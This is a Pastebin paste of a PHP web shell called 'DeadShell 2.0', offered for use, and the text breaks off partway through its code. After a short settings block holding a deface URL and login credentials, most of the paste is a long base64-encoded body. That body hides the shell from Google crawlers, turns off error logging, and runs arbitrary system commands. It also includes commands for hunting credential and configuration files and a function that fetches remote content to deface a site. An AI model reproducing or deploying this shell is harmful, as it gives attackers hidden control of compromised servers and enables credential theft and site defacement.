Mr_N1gh7m4r3

[PHP]DeadShell_2.0

Sep 23rd, 2017
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 96.98 KB | None | 0 0
  1. <?php
  2.  
  3. //Make your setting here.
  4. $deface_url = 'http://pastebin.com/raw.php?i=FHfxsFGT'; //deface url here(pastebin).
  5. $UserName = "D3m0n"; //Your UserName here.
  6. $auth_pass = "!nd13"; //Your Password.
  7. //Change Shell Theme here//
  8. $color = "#ABEFFF"; //Fonts color modify here.
  9. $Theme = '#04E6F9'; //Change border-color accoriding to your choice.
  10. $TabsColor = '#05543D'; //Change tabs color here.
  11. #-------------------------------------------------------------------------------
  12.  
  13. ?>
  14. <?php
  15. $Deads = "PD9waHAKCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CkBkZWZpbmUoJ1NFTEZfUEFUSCcsIF9fRklMRV9fKTsKaWYoIHN0cnBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ0dvb2dsZScpICE9PSBmYWxzZSApIHsKICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOwogICAgZXhpdDsKfQoKQHNlc3Npb25fc3RhcnQoKTsKQGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKaWYoIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkgKSB7CiAgICBmdW5jdGlvbiBzdHJpcHNsYXNoZXNfYXJyYXkoJGFycmF5KSB7CiAgICAgICAgcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ3N0cmlwc2xhc2hlc19hcnJheScsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsKICAgIH0KICAgICRfUE9TVCA9IHN0cmlwc2xhc2hlc19hcnJheSgkX1BPU1QpOwp9CgpmdW5jdGlvbiBwcmludExvZ2luKCkgewogaWYgKCRfUE9TVFsncGFzcyddICE9ICRhdXRoX3Bhc3MgJiYgJF9QT1NUWyd1bmFtZSddICE9ICRVc2VyTmFtZSkgewogICAgJHN0YXR1cyA9ICdXcm9uZyBVc2VybmFtZSBPciBQYXNzd29yZCc7CiAgICAKCn0KCj8+Cgo8aHRtbD4KPGhlYWQ+Cjx0aXRsZT5EMzRENSB2Mi4wPC90aXRsZT4KPGxpbmsgaHJlZj0iaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUpvc2VmaW4rU2Fuczo0MDAsMTAwIiByZWw9InN0eWxlc2hlZXQiPgo8L2hlYWQ+CjxzdHlsZT4KYm9keXsKICAgZm9udC1mYW1pbHk6IEpvc2VmaW4gU2Fucywgc2Fucy1zZXJpZjsKICAgIGJhY2tncm91bmQ6IGJsYWNrOwogICAgY29sb3I6I0FCRUZGRjsKfQogICAgLmxvZ2lucGFnZSBpbWd7CiAgICAgICAgd2lkdGg6IDUwMHB4OwogICAgICAgIGhlaWdodDogMTUwcHg7CiAgICB9CiAgICAubG9naW5wYWdlewogICAgICAgIGhlaWdodDogNDAwcHg7CiAgICAgICAgd2lkdGg6IDUwMHB4OwogICAgICAgIGJvcmRlcjoxcHggc29saWQ7CiAgICAgICAgYm9yZGVyLWNvbG9yOiNBQkVGRkY7CiAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsKICAgICAgICBtYXJnaW4tdG9wOiAxMDBweDsKICAgIH0KICAgICNwYWdlaGVhZGluZ3sKICAgICAgICBmb250LXNpemU6MjVweDsKICAgICAgICBjb2xvcjojQUJFRkZGOwogICAgICAgIG1hcmdpbi10b3A6IDEwcHg7CiAgICB9CiAgICAubG9naW5wYWdlIGltZ3sKICAgICAgICB3aWR0aDogNTAwcHg7CiAgICAKICAgIH0KICAgIGlucHV0ewogICAgICAgIGJhY2tncm91bmQ6IGJsYWNrOwogICAgICAgIGJvcmRlci1jb2xvcjojQUJFRkZGOwogICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7CiAgICAgICAgbWFyZ2luLXRvcDogMTBweDsgCiAgICAgICAgcGFkZGluZzo1cHg7CiAgICAgICAgY29sb3I6ICNBQkVGRkY7CiAgICB9CiAgICAgaW5wdXQ6aG92ZXJ7CiAgICAgICAgYmFja2dyb3VuZDogI0FCRUZGRjsKICAgICAgICBjb2xvcjogcmVkOwoKICAgICB9Cgo8L3N0eWxlPgo8Ym9keT4KPGNlbnRlcj4KPGRpdiBjbGFzcz0ibG9naW5wYWdlIj4KICAgIDxpbWcgc3JjPSJodHRwczovL3MxMC5wb3N0aW1nLm9yZy9ndWY5MGxkaXgvbmV3LnBuZyIgYWx0PSJMb2dvIj4KICAgIDxkaXYgaWQ9InBhZ2VoZWFkaW5nIj5UREEgU2gzTEwgMi4wPC9kaXY+CiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPgogICAgICAgIFVzZXIgTmFtZTogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVuYW1lIiA+PGJyPgogICAgICAgIFBhc3N3b3JkIDogIDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzcyIgPjxicj4KICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImxvZ2luIiB2YWx1ZT0iTG9naW4iPgogPD9waHAKCiAgaWYgKGlzc2V0KCRzdGF0dXMpKSB7CiAgID8+ICAKIAoKICAgICAKCiAgICA8L2Zvcm0+CiAgIAo8L2Q8cD48Pz0kc3RhdHVzPz48L3A+IAo8L2NlbnRlcj4KPC9ib2R5Pgo8L2h0bWw+Cgo8P3BocAoKCiAgfSAgICAgIAogICAgZXhpdDsKfQoKaWYoICFpc3NldCggJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSApKQogICAgaWYoIGVtcHR5KCAkYXV0aF9wYXNzICkgfHwKICAgICAgICAoIGlzc2V0KCAkX1BPU1RbJ3Bhc3MnXSApICYmICAoJF9QT1NUWydwYXNzJ10pID09ICRhdXRoX3Bhc3MgICYmICgkX1BPU1RbJ3VuYW1lJ10pID09ICRVc2VyTmFtZSkpCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSA9IHRydWU7CgogICAgZWxzZQogICAgICAgIAogICAgICAgIHByaW50TG9naW4oKTsKCmlmKCBzdHJ0b2xvd2VyKCBzdWJzdHIoUEhQX09TLDAsMykgKSA9PSAid2luIiApCiAgICAkb3MgPSAnd2luJzsKZWxzZQogICAgJG9zID0gJ25peCc7CiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7CiRkaXNhYmxlX2Z1bmN0aW9ucyA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7CmlmKCBpc3NldCggJF9QT1NUWydjJ10gKSApCiAgICBAY2hkaXIoJF9QT1NUWydjJ10pOwokY3dkID0gQGdldGN3ZCgpOwppZiggJG9zID09ICd3aW4nKSB7CiAgICAkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7CiAgICAkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsKfQppZiggJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nICkKICAgICRjd2QgLj0gJy8nOwogICAgCmlmKCRvcyA9PSAnd2luJykgewogICAgJGFsaWFzZXMgPSBhcnJheSgKICAgICAgICAiTGlzdCBEaXJlY3RvcnkiID0+ICJkaXIiLAogICAgICAgICJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLAogICAgICAgICJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiAqY29uZmlnKi5waHAiLAogICAgICAgICJTaG93IGFjdGl2ZSBjb25uZWN0aW9ucyIgPT4gIm5ldHN0YXQgLWFuIiwKICAgICAgICAiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwKICAgICAgICAiVXNlciBhY2NvdW50cyIgPT4gIm5ldCB1c2VyIiwKICAgICAgICAiU2hvdyBjb21wdXRlcnMiID0+ICJuZXQgdmlldyIsCiAgICAgICAgIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsCiAgICAgICAgIklQIENvbmZpZ3VyYXRpb24iID0+ICJpcGNvbmZpZyAvYWxsIgogICAgKTsKfSBlbHNlIHsKICAgICRhbGlhc2VzID0gYXJyYXkoCiAgICAgICAgICAiTGlzdCBkaXIiID0+ICJscyAtbGEiLAogICAgICAgICJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLAogICAgICAgICAgInNob3cgb3BlbmVkIHBvcnRzIiA9PiAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIsCiAgICAgICAgIkZpbmQiID0+ICIiLAogICAgICAgICAgImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwKICAgICAgICAgICJmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwKICAgICAgICAgICJmaW5kIGFsbCBzZ2lkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsCiAgICAgICAgICAiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsCiAgICAgICAgICAiZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiwKICAgICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsCiAgICAgICAgICAiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLAogICAgICAgICAgImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIiA9PiAiZmluZCAvIC1wZXJtIC0yIC1scyIsCiAgICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXBlcm0gLTIgLWxzIiwKICAgICAgICAgICJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAgICAgICAgICJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLAogICAgICAgICAgImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsCiAgICAgICAgICAiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLAogICAgICAgICAgImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwKICAgICAgICAgICJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwKICAgICAgICAgICJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLAogICAgICAgICAgImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKICAgICAgICAiTG9jYXRlIiA9PiAiIiwKICAgICAgICAgICJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwKICAgICAgICAibG9jYXRlIHZob3N0cy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHZob3N0cy5jb25mIiwKICAgICAgICAibG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwcm9mdHBkLmNvbmYiLAogICAgICAgICJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLAogICAgICAgICJsb2NhdGUgbXkuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBteS5jb25mIiwKICAgICAgICAibG9jYXRlIGFkbWluLnBocCBmaWxlcyIgPT4ibG9jYXRlIGFkbWluLnBocCIsCiAgICAgICAgImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLAogICAgICAgICJsb2NhdGUgY29uZi5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZi5waHAiLAogICAgICAgICJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGF0IiwKICAgICAgICAibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsCiAgICAgICAgImxvY2F0ZSBjb25maWcuaW5jIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMiLAogICAgICAgICJsb2NhdGUgY29uZmlnLmluYy5waHAiID0+ICJsb2NhdGUgY29uZmlnLmluYy5waHAiLAogICAgICAgICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsCiAgICAgICAgImxvY2F0ZSBjb25maWcqIGZpbGVzICIgPT4gImxvY2F0ZSBjb25maWciLAogICAgICAgICJsb2NhdGUgLmNvbmYgZmlsZXMiPT4ibG9jYXRlICcuY29uZiciLAogICAgICAgICJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLAogICAgICAgICJsb2NhdGUgLnNxbCBmaWxlcyIgPT4gImxvY2F0ZSAnLnNxbCciLAogICAgICAgICJsb2NhdGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwKICAgICAgICAibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwKICAgICAgICAibG9jYXRlIC5teXNxbF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcubXlzcWxfaGlzdG9yeSciLAogICAgICAgICJsb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAibG9jYXRlICcuZmV0Y2htYWlscmMnIiwKICAgICAgICAibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLAogICAgICAgICJsb2NhdGUgZHVtcCBmaWxlcyIgPT4gImxvY2F0ZSBkdW1wIiwKICAgICAgICAibG9jYXRlIHByaXYgZmlsZXMiID0+ICJsb2NhdGUgcHJpdiIgICAgCiAgICApOwp9CiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J2RlZmFjZScpIHsKICAgICAgICAKICAgICAgICAkZGVmID0gZmlsZV9nZXRfY29udGVudHMoJGRlZmFjZV91cmwpOwogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRfUE9TVFsnYyddLiRfUE9TVFsncDInXSwkZGVmKTsKICAgIH0KZnVuY3Rpb24gZXgoJGluKSB7CiAgICAkb3V0ID0gJyc7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgIEBleGVjKCRpbiwkb3V0KTsKICAgICAgICAkb3V0ID0gQGpvaW4oIlxuIiwkb3V0KTsKICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBAcGFzc3RocnUoJGluKTsKICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICB9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIEBzeXN0ZW0oJGluKTsKICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICB9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CiAgICAgICAgJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsKICAgIH1lbHNlaWYoaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGluLCJyIikpKSB7CiAgICAgICAgJG91dCA9ICIiOwogICAgICAgIHdoaWxlKCFAZmVvZigkZikpCiAgICAgICAgICAgICRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7CiAgICAgICAgcGNsb3NlKCRmKTsKICAgIH0KICAgIHJldHVybiAkb3V0Owp9CgpmdW5jdGlvbiB3aGljaCgkcCkgewogICAgJHBhdGggPSBleCgnd2hpY2ggJy4kcCk7CiAgICBpZighZW1wdHkoJHBhdGgpKQogICAgICAgIHJldHVybiAkcGF0aDsKICAgIHJldHVybiBmYWxzZTsKfQogICAgCmZ1bmN0aW9uIHByaW50SGVhZGVyKCkgewogICAgaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQogICAgICAgICRfUE9TVFsnY2hhcnNldCddID0gIlVURi04IjsKICAgIGdsb2JhbCAkY29sb3I7CiAgICBnbG9iYWwgJFRoZW1lOwogICAgZ2xvYmFsICRUYWJzQ29sb3I7CiAgICAgICAgZWNobyAiPGh0bWw+PGhlYWQ+PGxpbmsgaHJlZj0naHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUpvc2VmaW4rU2Fuczo0MDAsMTAwJyByZWw9J3N0eWxlc2hlZXQnIHR5cGU9J3RleHQvY3NzJz48L2hlYWQ+IjsKICAgIGVjaG8gJzxodG1sPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD0nLiRfUE9TVFsnY2hhcnNldCddLiciPjx0aXRsZT5UREEgU2hlbGwgdjIuMDwvdGl0bGU+CjxzdHlsZT4KICAgICAgICBib2R5IHtiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrO2NvbG9yOiNmZmY7fQogICAgICAgIGJvZHksdGQsdGggICAgeyBmb250LWZhbWlseTogSm9zZWZpbiBTYW5zLCBzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxM3B4O21hcmdpbjowO3ZlcnRpY2FsLWFsaWduOnRvcDsgfQogICAgICAgIHNwYW4saDEsYSAgICB7IGNvbG9yOicuJGNvbG9yLicgIWltcG9ydGFudDsgfQogICAgICAgIHNwYW4gICAgICAgIHsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQogICAgICAgIGgxICAgICAgICAgICAgeyBwYWRkaW5nOiAwcHggNXB4O2ZvbnQ6IDE0cHQgYXVkaW93aWRlO21hcmdpbjowcHggMCAwIDBweDsgfQogICAgICAgIGRpdi5jb250ZW50ICAgIHsgcGFkZGluZzogMHB4O21hcmdpbjowIDBweDtiYWNrZ3JvdW5kOiAjMEYxMDEwO2JvcmRlcjoxcHggc29saWQgJy4kVGhlbWUuJzsgYm9yZGVyLXJhZGl1czo1cHg7fQogICAgICAgIGEgICAgICAgICAgICB7IHRleHQtZGVjb3JhdGlvbjpub25lOyAgIH0KICAgICAgICBhOmhvdmVyICAgICAgICB7IGJvcmRlci1ib3R0b206MHB4IHNvbGlkICM1ZTVlNWU7dGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0KICAgICAgICBhOmhvdmVye2N1cnNvcjogdXJsKCJodHRwOi8vZG93bmxvYWRzLnRvdGFsbHlmcmVlY3Vyc29ycy5jb20vY3Vyc29yX2ZpbGVzL3Bha2lzdGFuLmFuaSIpLCB1cmwoImh0dHA6Ly9kb3dubG9hZHMudG90YWxseWZyZWVjdXJzb3JzLmNvbS90aHVtYm5haWxzL1BBS0lTVEFOLmdpZiIpLCBhdXRvO3RleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAubWwxICAgICAgICB7IGJvcmRlcjoxcHggc29saWQgJy4kVGhlbWUuJztwYWRkaW5nOnB4O21hcmdpbjowO292ZXJmbG93OiBhdXRvOyB9CiAgICAgICAgLmJpZ2FyZWEgICAgeyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDttYXJnaW4tdG9wOjBweDsgYm9yZGVyLXJhZGl1czoxMHB4OyBib3JkZXItY29sb3I6Jy4kVGhlbWUuJzsgYmFja2dyb3VuZDojMkYyRjJGO30KICAgICAgICBpbnB1dCwgdGV4dGFyZWEsIHNlbGVjdCAgICB7IG1hcmdpbi10b3A6MDtjb2xvcjojNjNFMUZGO2JhY2tncm91bmQtY29sb3I6YmxhY2s7Ym9yZGVyLXJhZGl1czo1cHg7Ym9yZGVyOjFweCBzb2xpZCAnLiRUaGVtZS4nOyBib3JkZXItcmFkaXM6NXB4O2ZvbnQ6IDEwcHQgYXJpYWwsIkNvdXJpZXIgTmV3IjsgfQogICAgICAgIGlucHV0W3R5cGU9ImJ1dHRvbiJdOmhvdmVyLGlucHV0W3R5cGU9InN1Ym1pdCJdOmhvdmVyIHtiYWNrZ3JvdW5kLWNvbG9yOiMwOTRGNjA7Y29sb3I6YmxhY2s7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSAKICAgICAgICBmb3JtICAgICAgICB7IG1hcmdpbjowcHg7IGJhY2tncm91bmQ6IzBGMTAxMDt9CiAgICAgICAgI3Rvb2xzVGJsICAgIHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0KICAgICAgICAudG9vbHNJbnAgICAgeyB3aWR0aDogODAlOyBiYWNrZ3JvdW5kOmJsYWNrOyBib3JkZXItcmFkaXVzOjVweDsgYm9yZGVyLWNvbG9yOicuJFRoZW1lLic7IH0KICAgICAgICAubWFpbiB0aCAgICB7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6Jy4kVGFic0NvbG9yLic7fQogICAgICAgIC5tYWluIHRyOmhvdmVye2JhY2tncm91bmQ6Jy4kVGhlbWUuJzsgYm9yZGVyOjVweCBzb2xpZDtib3JkZXItY29sb3I6Jy4kVGhlbWUuJzt9CiAgICAgICAgLm1haW4gdGQsIHRoe3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt9CiAgICAgICAgLm1lbnUgeyBoZWlnaHQ6MzBweDsgYm9yZGVyLXJhZGl1czoxMHB4O30KICAgICAgICAubWVudSB0aHtwYWRkaW5nOjFweDtib3JkZXItcmFkaXVzOiA1cHg7ICBiYWNrZ3JvdW5kOicuJFRhYnNDb2xvci4nOyAgICAgLXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgyMGRlZyk7CiAgICAtbW96LXRyYW5zZm9ybTogcm90YXRlKDIwZGVnKTsKICAgIC1vLXRyYW5zZm9ybTogcm90YXRlKDIwZGVnKTsKICAgIC1tcy10cmFuc2Zvcm06IHJvdGF0ZSgyMGRlZyk7CiAgICB0cmFuc2Zvcm06IHJvdGF0ZSgyMGRlZyk7fQogICAgICAgIC5tZW51IHRoOmhvdmVye2JhY2tncm91bmQ6IzBGMTAxMDt0ZXh0LWRlY29yYXRpb246IG5vbmU7fQogICAgICAgICAgICAgICAgcHJlIHtmb250LWZhbWlseTogSm9zZWZpbiBTYW5zLCBzYW5zLXNlcmlmO2NvbG9yOiNGRkZGRkY7fQogICAgICAgICNjb3RfdGxfZml4ZWR7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjBweDtmb250LXNpemU6MTJweDtsZWZ0OjBweDtwYWRkaW5nOjRweCAwO2NsaXA6X3RvcDpleHByZXNzaW9uKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zY3JvbGxUb3ArZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudEhlaWdodC10aGlzLmNsaWVudEhlaWdodCk7X2xlZnQ6ZXhwcmVzc2lvbihkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuc2Nyb2xsTGVmdCArIGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRXaWR0aCAtIG9mZnNldFdpZHRoKTt9CgogICAgICAgICAgICAgICAgCiAgICAgICAgLmNwciB7bWFyZ2luLWJvdHRvbTo1cHg7Zm9udC13ZWlnaHQ6Ym9sZDsgfQogICAgICAgIC5jcGIge3dpZHRoOjM0cHg7bWFyZ2luOjAgNXB4O30KICAgICAgICAKICAgICAgICAubnBvYWQgdGQge3BhZGRpbmc6MDt9CiAgICAgICAgI0QzNEQ1dG9vbHN7CiAgICAgICAgbWFyZ2luLXRvcDo1MHB4OwogICAgICAgIHdpZHRoOjUwMHB4OwogICAgICAgIGJvcmRlcjoxcHggc29saWQ7CiAgICAgICAgYm9yZGVyLXJhZGl1czoxMHB4OwogICAgfQogICAgLnRkYWxvZ28gdGR7CiAgICAgICAgZm9udC1zaXplOjEycHg7CiAgICAgICAgZm9udC13ZWlnaHQ6Ym9sZDsKICAgICAgICAKCgogICAgfQogICAgLnRkYWxvZ297CiAgICAgICAgbWFyZ2luLWxlZnQ6NXB4OwogICAgICAgIGJhY2tncm91bmQ6dXJsKGh0dHBzOi8vczEwLnBvc3RpbWcub3JnL2d1ZjkwbGRpeC9uZXcucG5nKTsKICAgICAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0OwogICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogQ0VOVEVSOyAKICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiMwRjEwMTA7CiAgICAgICAgYmFja2dyb3VuZC1zaXplOiA0MDBweCAxMjBweDsKCgoKICAgIH0KICAgIDwvc3R5bGU+Cgo8L2h0bWw+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSwgYTpob3ZlciB7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Y3Vyc29yOiB1cmwoaHR0cDovL2N1ci5jdXJzb3JzLTR1Lm5ldC9jdXJzb3JzL2N1ci0xMS9jdXIxMDU0LmN1ciksIHByb2dyZXNzICFpbXBvcnRhbnQ7fTwvc3R5bGU+PGEgaHJlZj0iaHR0cDovL3d3dy5jdXJzb3JzLTR1LmNvbS9jdXJzb3IvMjAxMi8wMi8xMS9jaHJvbWUtcG9pbnRlci5odG1sIiB0YXJnZXQ9Il9ibGFuayIgdGl0bGU9IkNocm9tZSBQb2ludGVyIj48aW1nIHNyYz0iaHR0cDovL2N1ci5jdXJzb3JzLTR1Lm5ldC9jdXJzb3IucG5nIiBib3JkZXI9IjAiIGFsdD0iQ2hyb21lIFBvaW50ZXIiIHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTsgdG9wOiAwcHg7IHJpZ2h0OiAwcHg7IiAvPjwvYT4KICAgIDxzY3JpcHQ+CiAgICAgICAgZnVuY3Rpb24gc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CiAgICAgICAgICAgIGlmKGEgIT0gbnVsbClkb2N1bWVudC5tZi5hLnZhbHVlPWE7CiAgICAgICAgICAgIGlmKGMgIT0gbnVsbClkb2N1bWVudC5tZi5jLnZhbHVlPWM7CiAgICAgICAgICAgIGlmKHAxICE9IG51bGwpZG9jdW1lbnQubWYucDEudmFsdWU9cDE7CiAgICAgICAgICAgIGlmKHAyICE9IG51bGwpZG9jdW1lbnQubWYucDIudmFsdWU9cDI7CiAgICAgICAgICAgIGlmKHAzICE9IG51bGwpZG9jdW1lbnQubWYucDMudmFsdWU9cDM7CiAgICAgICAgICAgIGlmKGNoYXJzZXQgIT0gbnVsbClkb2N1bWVudC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKICAgICAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKICAgICAgICAgICAgZG9jdW1lbnQubWYuc3VibWl0KCk7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKICAgICAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKICAgICAgICAgICAgdmFy